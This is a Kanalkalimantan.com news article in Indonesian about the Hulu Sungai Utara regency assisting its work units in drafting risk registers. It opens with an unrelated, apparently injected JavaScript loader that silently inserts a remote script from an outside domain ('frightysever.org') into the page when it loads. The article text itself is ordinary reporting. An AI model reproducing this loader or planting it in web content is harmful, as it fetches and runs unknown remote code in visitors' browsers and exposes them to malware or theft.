(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pendampingan Penyusunan Risk Register SKPD Pemkab HSU

KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) terus berupaya memberikan pendampingan penyusunan risk register pada Satuan Kerja Perangkat Daerah (SKPD).

Pendampingan bertujuan untuk memberikan pemahaman dan keterampilan kepada seluruh perangkat daerah dalam menyusun register risiko, mampu mengidentifikasi, serta membuat daftar risiko yang mungkin terjadi pada program kegiatan yang dikelola.

Kepala Bappedalitbang HSU, Muhammad Haridi mengatakan, melalui pendampingan penyusunan risk register ke SKPD, sebagai upaya memberikan pemahaman dan keterampilan kepada seluruh perangkat daerah dalam menyusun register risiko, mampu mengidentifikasi, dan membuat daftar resiko yang mungkin terjadi pada program atau kegiatan yang dikelola.

“Dari pendampingan ini para peserta mampu memahami tata cara penyusunan register risiko, menyusun rencana tindak pengendalian, serta mampu menerapkan dan mengimplementasikan manajemen risiko di lingkungan SKPD masing-masing,” ujarnya, Kamis (30/5/2024).

Dia menambahkan, dasar hukum pelaksanaan kegiatan ini adalah Peraturan Pemerintah Nomor 60 Tahun 2008 tentang Sistem Pengendalian Intern Pemerintah.

Sementara beberapa waktu lalu saat kegiatan pendampingan bersama Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Provinsi Kalimantan Selatan, Staf Ahli Bupati Bidang Pemerintahan Hukum dan Politik HSU, Sugeng Riyadi menilai pendampingan penyusunan risk register SKPD memiliki arti penting dan strategis agar dapat membuat daftar kejadian resiko yang mungkin terjadi, penyebab terjadi resiko, dampak probabilitas terjadi resiko serta cara mengendalikan resiko.

“Dimana risk register ini nantinya akan dijadikan sebagai dasar penyusunan program manajemen resiko, termasuk sebagai referensi dalam menyusun rencana audit berbasis resiko,” katanya.

Oleh karenanya dirinya menginginkan, perangkat daerah mampu memperoleh gambaran menyeluruh terkait resiko pada masing-masing SKPD. Sehingga dapat meminimalisir terjadi kegagalan dalam pelaksanaan program kegiatan.

“Mengingat setiap perencanaan yang dibuat tidak terlepas dari resiko, resiko merupakan suatu kemungkinan kejadian yang dapat mengancam pencapaian tujuan kegiatan dan sasaran pemerintah daerah,” tutupnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie